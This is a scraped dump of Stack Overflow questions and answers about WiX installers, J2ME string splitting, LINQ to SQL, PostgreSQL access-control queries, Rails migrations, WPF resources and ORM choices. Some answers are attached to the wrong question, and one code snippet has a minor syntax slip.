"text": "<UI Id=\"UserInterface\">\n <Property Id=\"WIXUI_INSTALLDIR\" Value=\"TARGETDIR\" />\n <Property Id=\"WixUI_Mode\" Value=\"Custom\" />\n\n <TextStyle Id=\"WixUI_Font_Normal\" FaceName=\"Tahoma\" Size=\"8\" />\n <TextStyle Id=\"WixUI_Font_Bigger\" FaceName=\"Tahoma\" Size=\"9\" Bold=\"yes\" />\n <TextStyle Id=\"WixUI_Font_Title\" FaceName=\"Tahoma\" Size=\"9\" Bold=\"yes\" />\n\n <Property Id=\"DefaultUIFont\" Value=\"WixUI_Font_Normal\" />\n\n <DialogRef Id=\"ProgressDlg\" />\n <DialogRef Id=\"ErrorDlg\" />\n <DialogRef Id=\"FilesInUse\" />\n <DialogRef Id=\"FatalError\" />\n <DialogRef Id=\"UserExit\" />\n\n <Publish Dialog=\"ExitDialog\" Control=\"Finish\" Event=\"EndDialog\" Value=\"Return\" Order=\"999\">1</Publish>\n <Publish Dialog=\"WelcomeDlg\" Control=\"Next\" Event=\"EndDialog\" Value=\"Return\" Order=\"2\"></Publish>\n\n</UI>\n<UIRef Id=\"WixUI_Common\" />\n"
},
{
"answer_id": 25004458,
"author": "lowtech",
"author_id": 1181482,
"author_profile": "https://Stackoverflow.com/users/1181482",
"pm_score": 3,
"selected": false,
"text": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Wix xmlns=\"http://schemas.microsoft.com/wix/2006/wi\">\n\n <Product Id=\"*\" Name=\"testwixsetup\" Language=\"1033\" Version=\"2.1.3.0\" Manufacturer=\"ttt\" UpgradeCode=\"PUT-GUID-HERE\">\n <Package InstallerVersion=\"200\" Compressed=\"yes\" InstallScope=\"perMachine\" />\n\n <MajorUpgrade DowngradeErrorMessage=\"A newer version of [ProductName] is already installed.\" /> \n <MediaTemplate EmbedCab=\"yes\"/>\n\n <Feature Id=\"ProductFeature\" Title=\"testwixsetup\" Level=\"1\">\n <ComponentGroupRef Id=\"ProductComponents\" />\n </Feature>\n\n <UI Id=\"UserInterface\">\n <Property Id=\"WIXUI_INSTALLDIR\" Value=\"TARGETDIR\" />\n <Property Id=\"WixUI_Mode\" Value=\"Custom\" />\n\n <TextStyle Id=\"WixUI_Font_Normal\" FaceName=\"Tahoma\" Size=\"8\" />\n <TextStyle Id=\"WixUI_Font_Bigger\" FaceName=\"Tahoma\" Size=\"9\" Bold=\"yes\" />\n <TextStyle Id=\"WixUI_Font_Title\" FaceName=\"Tahoma\" Size=\"9\" Bold=\"yes\" />\n\n <Property Id=\"DefaultUIFont\" Value=\"WixUI_Font_Normal\" />\n\n <DialogRef Id=\"ProgressDlg\" />\n <DialogRef Id=\"ErrorDlg\" />\n <DialogRef Id=\"FilesInUse\" />\n <DialogRef Id=\"FatalError\" />\n <DialogRef Id=\"UserExit\" />\n\n <Publish Dialog=\"ExitDialog\" Control=\"Finish\" Event=\"EndDialog\" Value=\"Return\" Order=\"999\">1</Publish>\n <Publish Dialog=\"WelcomeDlg\" Control=\"Next\" Event=\"EndDialog\" Value=\"Return\" Order=\"2\"></Publish>\n\n </UI>\n <UIRef Id=\"WixUI_Common\" />\n </Product>\n\n <Fragment>\n <Directory Id=\"TARGETDIR\" Name=\"SourceDir\">\n <Directory Id=\"ProgramFilesFolder\">\n <Directory Id=\"COMPANYFOLDER\" Name=\"test-wixinstall\">\n <Directory Id=\"INSTALLFOLDER\" Name=\"testwixsetup\" />\n </Directory>\n </Directory>\n </Directory>\n </Fragment>\n\n <Fragment>\n <ComponentGroup Id=\"ProductComponents\" Directory=\"INSTALLFOLDER\">\n <Component Id=\"ProductComponent\" Guid=\"*\">\n <File Name=\"test.py\"/>\n <File Name=\"test.txt\"/>\n </Component>\n </ComponentGroup>\n </Fragment>\n\n</Wix>\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200743",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/22941/"
] |
200,746
|
<p>How do I split strings in J2ME in an effective way?</p>
<p>There is a <a href="http://download.oracle.com/javase/1.4.2/docs/api/java/util/StringTokenizer.html" rel="noreferrer"><code>StringTokenizer</code></a> or <a href="http://download.oracle.com/javase/1.5.0/docs/api/java/lang/String.html#split%28java.lang.String%29" rel="noreferrer"><code>String.split(String regex)</code></a> in the standard edition (J2SE), but they are absent in the micro edition (J2ME, MIDP).</p>
|
[
{
"answer_id": 200760,
"author": "Guido",
"author_id": 12388,
"author_profile": "https://Stackoverflow.com/users/12388",
"pm_score": 2,
"selected": false,
"text": "String.indexOf() String.substring()"
},
{
"answer_id": 200798,
"author": "Rob Bell",
"author_id": 2179408,
"author_profile": "https://Stackoverflow.com/users/2179408",
"pm_score": 2,
"selected": false,
"text": "String myString = \"Hello World\";\n System.out.println(myString.substring(6));\n System.out.println(myString.substring(0,5));\n indexOf() String.split() String myString = \"Hi-There-Gang\";\n\nString[] splitStrings = myString.split(\"-\");\n \"Hi\" \"There\" \"Gang\" String.split substring indexOf"
},
{
"answer_id": 200854,
"author": "Jonas Pegerfalk",
"author_id": 1918,
"author_profile": "https://Stackoverflow.com/users/1918",
"pm_score": 5,
"selected": true,
"text": "String firstToken;\nStringTokenizer tok;\n\ntok = new StringTokenizer(\"some|random|data\",\"|\");\nfirstToken= tok.nextToken();\n"
},
{
"answer_id": 3343701,
"author": "demotics2002",
"author_id": 403387,
"author_profile": "https://Stackoverflow.com/users/403387",
"pm_score": 2,
"selected": false,
"text": "public static String[] split(StringBuffer sb, String splitter){\n String[] strs = new String[sb.length()];\n int splitterLength = splitter.length();\n int initialIndex = 0;\n int indexOfSplitter = indexOf(sb, splitter, initialIndex);\n int count = 0;\n if(-1==indexOfSplitter) return new String[]{sb.toString()};\n while(-1!=indexOfSplitter){\n char[] chars = new char[indexOfSplitter-initialIndex];\n sb.getChars(initialIndex, indexOfSplitter, chars, 0);\n initialIndex = indexOfSplitter+splitterLength;\n indexOfSplitter = indexOf(sb, splitter, indexOfSplitter+1);\n strs[count] = new String(chars);\n count++;\n }\n // get the remaining chars.\n if(initialIndex+splitterLength<=sb.length()){\n char[] chars = new char[sb.length()-initialIndex];\n sb.getChars(initialIndex, sb.length(), chars, 0);\n strs[count] = new String(chars);\n count++;\n }\n String[] result = new String[count];\n for(int i = 0; i<count; i++){\n result[i] = strs[i];\n }\n return result;\n}\n\npublic static int indexOf(StringBuffer sb, String str, int start){\n int index = -1;\n if((start>=sb.length() || start<-1) || str.length()<=0) return index;\n char[] tofind = str.toCharArray();\n outer: for(;start<sb.length(); start++){\n char c = sb.charAt(start);\n if(c==tofind[0]){\n if(1==tofind.length) return start;\n inner: for(int i = 1; i<tofind.length;i++){ // start on the 2nd character\n char find = tofind[i];\n int currentSourceIndex = start+i;\n if(currentSourceIndex<sb.length()){\n char source = sb.charAt(start+i);\n if(find==source){\n if(i==tofind.length-1){\n return start;\n }\n continue inner;\n } else {\n start++;\n continue outer;\n }\n } else {\n return -1;\n }\n\n }\n }\n }\n return index;\n}\n"
},
{
"answer_id": 12579305,
"author": "Rahul",
"author_id": 1563004,
"author_profile": "https://Stackoverflow.com/users/1563004",
"pm_score": 1,
"selected": false,
"text": "public static Vector splitDelimiter(String text, char delimiter) {\n Vector splittedString = null;\n String text1 = \"\";\n\n if (text != null) {\n splittedString = new Vector();\n for (int i = 0; i < text.length(); i++) {\n if (text.charAt(i) == delimiter) {\n splittedString.addElement(text1);\n text1 = \"\";\n } else {\n text1 += text.charAt(i);\n // if(i==text.length()-1){\n // splittedString.addElement(text1);\n // }\n }\n }\n splittedString.addElement(text1);\n }\n return s\n }\n"
},
{
"answer_id": 19080874,
"author": "UserSuperPupsik",
"author_id": 2821042,
"author_profile": "https://Stackoverflow.com/users/2821042",
"pm_score": 1,
"selected": false,
"text": "//IDE NetBeans 7.3.1\n//author: UserSuperPupsik \n//email: usersuperpupsik@gmail.com\n\n\n\npackage split;\n\n\nimport javax.microedition.lcdui.*;\nimport javax.microedition.midlet.*;\nimport java.util.Vector;\n\npublic class Midlet extends MIDlet {\n public String e1;\n public Vector v=new Vector();\n public int ma;\n int IsD=0;\n int vax=0;\n public String out[];\n private Form f;\n\n public void split0(String text,String delimiter){\n if (text!=\"\"){\n IsD=0;\n\n int raz=0;\n\n //v.removeAllElements();\n v.setSize(0);\n int io;\n String temp=\"\"; \n int ni=(text.length()-1);\n\n\n for(io=0;io<=ni;io++){\n\n char ch=text.charAt(io);\n String st=\"\"+ch; \n if(io==0 && st.equals(delimiter)){IsD=1;}\n\n if(!st.equals(delimiter)){temp=temp+st;} //Not equals (!=)\n else if(st.equals(delimiter)&&temp!=\"\")//equals (==)\n {\n IsD=1;\n //f.append(temp); \n v.addElement(temp);\n temp=\"\"; \n\n }\n\n\n if(io==ni && temp!=\"\") {\n v.addElement(temp);\n temp=\"\"; \n } \n\n if((io==ni)&&IsD==0&&temp!=\"\"){v.addElement(temp);}\n\n\n\n\n }\n\n\n\n if(v.size()!=0){\n\n ma=(v.size());\n\n out=new String[ma];\n\n\n v.copyInto(out);\n\n }\n //else if(v.size()==0){IsD=1; }\n\n\n }\n }\n\n\npublic void method1(){\n f.append(\"\\n\");\n f.append(\"IsD: \" +IsD+\"\");\n if (v.size()!=0){\n for( vax=0;vax<=ma-1;vax++){\n f.append(\"\\n\");\n\n f.append(out[vax]);\n\n\n }\n } \n}\n public void startApp() {\n\n f=new Form(\"Hello J2ME!\");\n Display.getDisplay(this).setCurrent(f);\n\n f.append(\"\");\n split0(\"Hello.World.Good...Luck.end\" , \".\");\n method1();\n\n split0(\".\",\".\");\n method1();\n\n split0(\" First WORD2 Word3 \",\" \");\n method1();\n\n split0(\"...\",\".\");\n method1(); \n }\n\n public void pauseApp() {\n }\n\n public void destroyApp(boolean unconditional) {\n }\n\n\n\n\n}\n"
},
{
"answer_id": 25381691,
"author": "Miguel Rivero",
"author_id": 2160667,
"author_profile": "https://Stackoverflow.com/users/2160667",
"pm_score": 0,
"selected": false,
"text": " public static Vector split(String stringToSplit, String separator){\n if(stringToSplit.length<1){\n return null;\n }\n\n Vector stringsFound = new Vector();\n\n String remainingString = stringToSplit;\n\n while(remainingString.length()>0){\n int separatorStartingIndex = remainingString.indexOf(separator);\n\n if(separatorStartingIndex==-1){\n // Not separators found in the remaining String. Get substring and finish\n stringsFound.addElement(remainingString);\n break;\n }\n\n else{\n // The separator is at the beginning of the String,\n // Push the beginning at the end of separator and continue\n if(remainingString.startsWith(separator)){\n remainingString = remainingString.substring(separator.length());\n }\n // The separator is present and is not the beginning, add substring and continue\n else{\n stringsFound.addElement(remainingString.substring(0, separatorStartingIndex));\n remainingString = remainingString.substring(separatorStartingIndex + separator.length());\n }\n }\n }\n\n return stringsFound;\n }\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200746",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3713/"
] |
200,755
|
<p>In a LINQ to SQL class, why are the properties that are created from the foreign keys <code>EntitySet</code> objects, which implement <code>IEnumerable</code>, where as the objects on the <code>DataContext</code> are <code>Table</code> objects which implement <code>IQueryable</code>?</p>
<p><strong>EDIT:</strong> To clarify, here is an example that illustrates what I'm trying to understand. This example:</p>
<pre><code>ctx.Matches.Where(x => x.MatchID == 1).Single()
.MatchPlayers.Max(x => x.Score);
</code></pre>
<p>hits the database twice where as:</p>
<pre><code>ctx.MatchPlayers.Where(x => x.MatchID == 1)
.Max(x => x.Score);
</code></pre>
<p>only runs 1 query. Here are the traces:</p>
<pre><code>exec sp_executesql N'SELECT [t0].[MatchID], [t0].[Date]
FROM [dbo].[Matches] AS [t0]
WHERE [t0].[MatchID] = @p0',N'@p0 int',@p0=1
go
exec sp_executesql N'SELECT [t0].[MatchID], [t0].[PlayerID], [t0].[Score]
FROM [dbo].[MatchPlayers] AS [t0]
WHERE [t0].[MatchID] = @p0',N'@p0 int',@p0=1
go
</code></pre>
<p>and</p>
<pre><code>exec sp_executesql N'SELECT MAX([t0].[Score]) AS [value]
FROM [dbo].[MatchPlayers] AS [t0]
WHERE [t0].[MatchID] = @p0',N'@p0 int',@p0=1
go
</code></pre>
<p>which also shows that, even worse, the max is done at the C# level rather than in the database.</p>
<p>I know that the reason this happens is the difference between <code>IQueryable</code>s and <code>IEnumerable</code>s, so why doesn't the <code>MatchPlayers</code> object in the first example implement the <code>IQueryable</code> interface to get the same benefits as the latter example.</p>
|
[
{
"answer_id": 201667,
"author": "Amy B",
"author_id": 8155,
"author_profile": "https://Stackoverflow.com/users/8155",
"pm_score": 2,
"selected": false,
"text": "ctx.Matches.Where(x => x.MatchID == 1).Single()\n ctx.Matches\n .Where(m => m.MatchID == 1)\n .Select(m => m.MatchPlayers.Max(mp => mp.Score))\n .Single();\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200755",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/27782/"
] |
200,757
|
<p>Our policy when delivering a new version is to create a branch in our VCS and handle it to our QA team. When the latter gives the green light, we tag and release our product. The branch is kept to receive (only) bug fixes so that we can create technical releases. Those bug fixes are subsequently merged on the trunk.</p>
<p>During this time, the trunk sees the main development work, and is potentially subject to refactoring changes.</p>
<p>The issue is that there is a tension between the need to have a stable trunk (so that the merge of bug fixes succeed -- it usually can't if the code has been e.g. extracted to another method, or moved to another class) and the need to refactor it when introducing new features. </p>
<p>The policy in our place is to not do any refactoring before enough time has passed and the branch is stable enough. When this is the case, one can start doing refactoring changes on the trunk, and bug-fixes are to be manually committed on both the trunk and the branch.</p>
<p>But this means that developpers must wait quite some time before committing on the trunk any refactoring change, because this could break the subsequent merge from the branch to the trunk. And having to manually port bugs from the branch to the trunk is painful. It seems to me that this hampers development...</p>
<p>How do you handle this tension?</p>
<p>Thanks.</p>
|
[
{
"answer_id": 583650,
"author": "Jonik",
"author_id": 56285,
"author_profile": "https://Stackoverflow.com/users/56285",
"pm_score": 3,
"selected": false,
"text": "svn merge --reintegrate"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200757",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4177/"
] |
200,785
|
<p>When creating a new object that is mapped to one of my SQL Server tables, LINQ inserts a new record into the table when I call SubmitChanges. I want to prevent this, but still need my new object.</p>
<p>I know about the custom methods, but is there anyway to disable this behaviour so that it just updates existing records and never inserts new records, regardless of if I've called <code>MyTableClass myObject = new MyTableClass()</code> or not.</p>
<p>Thanks.</p>
|
[
{
"answer_id": 200809,
"author": "Marc Gravell",
"author_id": 23354,
"author_profile": "https://Stackoverflow.com/users/23354",
"pm_score": 2,
"selected": false,
"text": "partial class DataClasses1DataContext\n{\n public override void SubmitChanges(System.Data.Linq.ConflictMode failureMode)\n {\n if(GetChangeSet().Inserts.OfType<MyObject>().Any())\n {\n throw new InvalidOperationException(\"No inserts!\");\n }\n base.SubmitChanges(failureMode);\n }\n}\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200785",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/11989/"
] |
200,810
|
<p>I'm trying to create an access control system. </p>
<p>Here's a stripped down example of what the table I'm trying to control access to looks like:</p>
<pre><code>things table:
id group_id name
1 1 thing 1
2 1 thing 2
3 1 thing 3
4 1 thing 4
5 2 thing 5
</code></pre>
<p>And the access control table looks like this:</p>
<pre><code>access table:
user_id type object_id access
1 group 1 50
1 thing 1 10
1 thing 2 100
</code></pre>
<p>Access can be granted either by specifying the id of the 'thing' directly, or granted for an entire group of things by specifying a group id. In the above example, user 1 has been granted an access level of 50 to group 1, which should apply unless there are any other rules granting more specific access to an individual thing.</p>
<p>I need a query that returns a list of things (ids only is okay) along with the access level for a specific user. So using the example above I'd want something like this for user id 1:</p>
<pre><code>desired result:
thing_id access
1 10
2 100
3 50 (things 3 and 4 have no specific access rule,
4 50 so this '50' is from the group rule)
5 (thing 5 has no rules at all, so although I
still want it in the output, there's no access
level for it)
</code></pre>
<p>The closest I can come up with is this:</p>
<pre><code>SELECT *
FROM things
LEFT JOIN access ON
user_id = 1
AND (
(access.type = 'group' AND access.object_id = things.group_id)
OR (access.type = 'thing' AND access.object_id = things.id)
)
</code></pre>
<p>But that returns multiple rows, when I only want one for each row in the 'things' table. I'm not sure how to get down to a single row for each 'thing', or how to prioritise 'thing' rules over 'group' rules.</p>
<p>If it helps, the database I'm using is PostgreSQL.</p>
<p>Please feel free to leave a comment if there's any information I've missed out. </p>
<p>Thanks in advance!</p>
|
[
{
"answer_id": 200851,
"author": "Tony Andrews",
"author_id": 18747,
"author_profile": "https://Stackoverflow.com/users/18747",
"pm_score": 2,
"selected": true,
"text": "select thing.*, coalesce ( ( select access\n from access\n where userid = 1\n and type = 'thing'\n and object_id = thing.id\n ),\n ( select access\n from access\n where userid = 1\n and type = 'group'\n and object_id = thing.group_id\n )\n )\nfrom things\n thing_access (user_id, thing_id, access)\ngroup_access (user_id, group_id, access)\n select thing.*, coalesce ( ( select access\n from thing_access\n where userid = 1\n and thing_id = thing.id\n ),\n ( select access\n from group_access\n where userid = 1\n and group_id = thing.group_id\n )\n )\nfrom things\n"
},
{
"answer_id": 200862,
"author": "Josef",
"author_id": 5581,
"author_profile": "https://Stackoverflow.com/users/5581",
"pm_score": 1,
"selected": false,
"text": "SELECT things.id, things.group_id, things.name, max(access) \nFROM things \nLEFT JOIN access ON \n user_id = 1 \n AND (\n (access.type = 'group' AND access.object_id = things.group_id)\n OR (access.type = 'thing' AND access.object_id = things.id)\n )\ngroup by things.id, things.group_id, things.name\n"
},
{
"answer_id": 200969,
"author": "Dan",
"author_id": 17121,
"author_profile": "https://Stackoverflow.com/users/17121",
"pm_score": 0,
"selected": false,
"text": "SELECT \n things.*, \n coalesce ( \n ( SELECT access \n FROM access \n WHERE user_id = 1 \n AND type = 'thing' \n AND object_id = things.id\n ), \n ( SELECT access \n FROM access \n WHERE user_id = 1 \n AND type = 'group' \n AND object_id = things.group_id \n ) \n ) AS access\n FROM things;\n id | group_id | name | access \n----+----------+---------+--------\n 1 | 1 | thing 1 | 10\n 2 | 1 | thing 2 | 100\n 3 | 1 | thing 3 | 50\n 4 | 1 | thing 4 | 50\n 5 | 2 | thing 5 | \n id | group_id | name | max \n----+----------+---------+-----\n 1 | 1 | thing 1 | 50\n 2 | 1 | thing 2 | 100\n 3 | 1 | thing 3 | 50\n 4 | 1 | thing 4 | 50\n 5 | 2 | thing 5 | \n GROUP BY"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200810",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/17121/"
] |
200,813
|
<p>I'm creating a bunch of migrations, some of which are standard "create table" or "modify table" migrations, and some of which modify data. I'm using my actual ActiveRecord models to modify the data, a la:</p>
<pre><code>Blog.all.each do |blog|
update_some_blog_attributes_to_match_new_schema
end
</code></pre>
<p>The problem is that if I load the Blog class, then modify the table, then use the Blog class again, the models have the old table definitions, and cannot save to the new table. Is there a way to reload the classes and their attribute definitions so I can reuse them?</p>
|
[
{
"answer_id": 200815,
"author": "James A. Rosen",
"author_id": 1190,
"author_profile": "https://Stackoverflow.com/users/1190",
"pm_score": 8,
"selected": true,
"text": "Blog.reset_column_information\n"
},
{
"answer_id": 200889,
"author": "Jon Smock",
"author_id": 25538,
"author_profile": "https://Stackoverflow.com/users/25538",
"pm_score": 2,
"selected": false,
"text": "Old_blogs = Blog.all\n New_blogs = Blog.all # this should be reloaded or you could use the .reload on this\n Old_blogs.each do |blog|\n New_blogs.find(blog.id).title = blog.title\nend\n"
},
{
"answer_id": 201890,
"author": "Vitalie",
"author_id": 27913,
"author_profile": "https://Stackoverflow.com/users/27913",
"pm_score": 3,
"selected": false,
"text": " MyBlog < ActiveRecord::Base\n set_table_name 'blogs'\n end\n\n def self.up\n MyBlog.all.each do |blog|\n update_some_blog_attributes_to_match_new_schema\n end\n end\n Blog.reset_column_information"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200813",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1190/"
] |
200,822
|
<p>I've been trying to track this one for literally a month now without any success. I have this piece of code on an car advertising website which basically allows thumbnails to rotate in search results given that a car has multiple pictures. You can see it in action at the following:</p>
<blockquote>
<p><a href="http://www.abcavendre.com/4506691919/" rel="noreferrer" title="Inventaire"><code>http://www.abcavendre.com/4506691919/</code></a></p>
</blockquote>
<p>It is built on the <a href="http://www.mootools.net/" rel="noreferrer" title="Mootools">mootools 1.2</a> framework. The problem is that this script, under Firefox 3, consumes a rather large amount of memory overtime when a page is full of those rotating pictures, such as this inventory page:</p>
<blockquote>
<p><a href="http://www.abcavendre.com/Vitrine/Israel_Huttman/" rel="noreferrer" title="Inventaire"><code>http://www.abcavendre.com/Vitrine/Israel_Huttman/</code></a></p>
</blockquote>
<p>You can see the source of the script in question here:</p>
<blockquote>
<p><a href="http://www.abcavendre.com/scripts/showcase_small.js" rel="noreferrer" title="Javascript Source"><code>http://www.abcavendre.com/scripts/showcase_small.js</code></a></p>
</blockquote>
<p>Any ideas as to what is causing the memory leak? The weird thing is this code behaves properly under IE7.</p>
|
[
{
"answer_id": 200865,
"author": "Daniel Silveira",
"author_id": 1100,
"author_profile": "https://Stackoverflow.com/users/1100",
"pm_score": 0,
"selected": false,
"text": " ...\n\n if (ads.length > 0)\n {\n this.imagesFx = new Fx.Elements(elements,\n {\n wait: false,\n duration: 1000\n });\n this.moveNext.periodical(2500, this);\n }\n\n elements = null; //Add THIS!\n}\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200822",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/26210/"
] |
200,839
|
<p>When using resources such as brushes, templates and styles in WPF, they can be specified either as StaticResources </p>
<pre><code><Rectangle Fill="{StaticResource MyBrush}" />
</code></pre>
<p>or as a DynamicResource</p>
<pre><code><ItemsControl ItemTemplate="{DynamicResource MyItemTemplate}" />
</code></pre>
<p>Most of the times (always?), only one works and the other will throw exception during runtime. But I'd like to know why:</p>
<ul>
<li>What is the main difference. Like memory or performance implications</li>
<li>Are there rules in WPF like "brushes are always static" and "templates are always dynamic" etc.?</li>
</ul>
<p>I <strong>assume</strong> the choice between Static vs Dynamic isn't as arbitrary as it seems... but I fail to see the pattern.</p>
|
[
{
"answer_id": 4559797,
"author": "Akshay J",
"author_id": 264136,
"author_profile": "https://Stackoverflow.com/users/264136",
"pm_score": 7,
"selected": false,
"text": "<Window x:Class=\"WpfApplicationWPF.CommandsWindow\"\n xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"\n Title=\"CommandsWindow\" Height=\"300\" Width=\"300\">\n\n <StackPanel>\n <Button Name=\"ButtonNew\" \n Click=\"ButtonNew_Click\" \n Background=\"{DynamicResource PinkBrush}\">NEW</Button>\n <Image Name=\"ImageNew\" \n Source=\"pack://application:,,,/images/winter.jpg\"></Image>\n </StackPanel>\n\n\n <Window.Background>\n <DynamicResource ResourceKey=\"PinkBrush\"></DynamicResource>\n </Window.Background>\n\n</Window>\n private void ButtonNew_Click(object sender, RoutedEventArgs e)\n{\n this.Resources.Add( \"PinkBrush\"\n ,new SolidColorBrush(SystemColors.DesktopColor)\n );\n}\n"
},
{
"answer_id": 29903012,
"author": "Jeson Martajaya",
"author_id": 868532,
"author_profile": "https://Stackoverflow.com/users/868532",
"pm_score": 5,
"selected": false,
"text": "<ResourceDictionary xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\">\n <Style TargetType=\"{x:Type Grid}\">\n <Style.Resources>\n <Style TargetType=\"{x:Type Button}\" x:Key=\"ConflictButton\">\n <Setter Property=\"Background\" Value=\"Pink\"/>\n </Style>\n </Style.Resources>\n </Style>\n <Style TargetType=\"{x:Type Button}\" x:Key=\"ConflictButton\">\n <Setter Property=\"Background\" Value=\"LightGreen\"/>\n </Style>\n</ResourceDictionary>\n <Window x:Class=\"WpfStyleDemo.ConflictingStyleWindow\"\n xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"\n Title=\"ConflictingStyleWindow\" Height=\"100\" Width=\"100\">\n <Window.Resources>\n <ResourceDictionary>\n <ResourceDictionary.MergedDictionaries>\n <ResourceDictionary Source=\"Styles/ConflictingStyle.xaml\" />\n </ResourceDictionary.MergedDictionaries>\n </ResourceDictionary>\n </Window.Resources>\n <Grid>\n <Button Style=\"{DynamicResource ConflictButton}\" Content=\"Test\"/>\n </Grid>\n</Window>\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200839",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/8521/"
] |
200,842
|
<p>We're creating a Interaction design pattern website for a class.
We've been using google docs to create the patterns list during the classes, sharing it with the teacher for evaluation.</p>
<p>So the environment is this:</p>
<ul>
<li>We've been able to fetch a single image from each presentation we want to display, such as: <a href="http://docs.google.com/file?id=dd2dpzk6_164zcwm3jgv_b" rel="nofollow noreferrer">http://docs.google.com/file?id=dd2dpzk6_164zcwm3jgv_b</a></li>
<li><p>We've created an RSS feed for cooliris to open: (small example from it):</p>
<p><.item></p>
<pre><code><.title>e7_pattern_7.78<./title>
<.link>http://docs.google.com/file?id=dd2dpzk6_164zcwm3jgv_b<./link>
<.guid>dd2dpzk6_164zcwm3jgv_b<./guid>
<.media:thumbnail url="http://docs.google.com/file?id=dd2dpzk6_164zcwm3jgv_b" />
<.media:content url="http://docs.google.com/file?id=dd2dpzk6_164zcwm3jgv_b" type="image/png" />
</code></pre>
<p><./item></p></li>
</ul>
<p>Sorry for the points in the middle of the tag is only for stackoverflow not to filter it.</p>
<p>So the problem is the following, the rss works correctly, as the cooliris opens all viewports for all images. But both the thumbnail and content remain black for all the pictures.</p>
<p>If you try to open them by the above url you can download them, with the type="image/png" if should work for piclens to open it.</p>
<p>Anyone got a sugestion or idea why we can't access the images from google docs via cooliris ?</p>
|
[
{
"answer_id": 4559797,
"author": "Akshay J",
"author_id": 264136,
"author_profile": "https://Stackoverflow.com/users/264136",
"pm_score": 7,
"selected": false,
"text": "<Window x:Class=\"WpfApplicationWPF.CommandsWindow\"\n xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"\n Title=\"CommandsWindow\" Height=\"300\" Width=\"300\">\n\n <StackPanel>\n <Button Name=\"ButtonNew\" \n Click=\"ButtonNew_Click\" \n Background=\"{DynamicResource PinkBrush}\">NEW</Button>\n <Image Name=\"ImageNew\" \n Source=\"pack://application:,,,/images/winter.jpg\"></Image>\n </StackPanel>\n\n\n <Window.Background>\n <DynamicResource ResourceKey=\"PinkBrush\"></DynamicResource>\n </Window.Background>\n\n</Window>\n private void ButtonNew_Click(object sender, RoutedEventArgs e)\n{\n this.Resources.Add( \"PinkBrush\"\n ,new SolidColorBrush(SystemColors.DesktopColor)\n );\n}\n"
},
{
"answer_id": 29903012,
"author": "Jeson Martajaya",
"author_id": 868532,
"author_profile": "https://Stackoverflow.com/users/868532",
"pm_score": 5,
"selected": false,
"text": "<ResourceDictionary xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\">\n <Style TargetType=\"{x:Type Grid}\">\n <Style.Resources>\n <Style TargetType=\"{x:Type Button}\" x:Key=\"ConflictButton\">\n <Setter Property=\"Background\" Value=\"Pink\"/>\n </Style>\n </Style.Resources>\n </Style>\n <Style TargetType=\"{x:Type Button}\" x:Key=\"ConflictButton\">\n <Setter Property=\"Background\" Value=\"LightGreen\"/>\n </Style>\n</ResourceDictionary>\n <Window x:Class=\"WpfStyleDemo.ConflictingStyleWindow\"\n xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"\n Title=\"ConflictingStyleWindow\" Height=\"100\" Width=\"100\">\n <Window.Resources>\n <ResourceDictionary>\n <ResourceDictionary.MergedDictionaries>\n <ResourceDictionary Source=\"Styles/ConflictingStyle.xaml\" />\n </ResourceDictionary.MergedDictionaries>\n </ResourceDictionary>\n </Window.Resources>\n <Grid>\n <Button Style=\"{DynamicResource ConflictButton}\" Content=\"Test\"/>\n </Grid>\n</Window>\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200842",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/26004/"
] |
200,847
|
<p>I'm trying to decide on the best strategy for accessing the database. I understand that this is a generic question and there's no a single good answer, but I will provide some guidelines on what I'm looking for.
The last few years we have been using our own persistence framework, that although limited has served as well. However it needs some major improvements and I'm wondering if I should go that way or use one of the existing frameworks. The criteria that I'm looking for, in order of importance are:</p>
<ol>
<li><p>Client code should work with clean objects, width no database knowledge. When using our custom framework the client code looks like:</p>
<p>SessionManager session = new SessionManager();
Order order = session.CreateEntity();
order.Date = DateTime.Now;
// Set other properties
OrderDetail detail = order.AddOrderDetail();
detail.Product = product;
// Other properties</p>
<p>// Commit all changes now
session.Commit();</p></li>
<li><p>Should as simple as possible and not "too flexible". We need a single way to do most things.</p></li>
<li>Should have good support for object-oriented programming. Should handle one-to-many and many-to-many relations, should handle inheritance, support for lazy loading.</li>
<li>Configuration is preferred to be XML based.</li>
</ol>
<p>With my current knowledge I see these options:</p>
<ol>
<li>Improve our current framework - Problem is that it needs a good deal of effort.</li>
<li>ADO.NET Entity Framework - Don't have a good understanding, but seems too complicated and has bad reviews.</li>
<li>LINQ to SQL - Does not have good handling of object-oriented practices.</li>
<li>nHibernate - Seems a good option, but some users report too many archaic errors.</li>
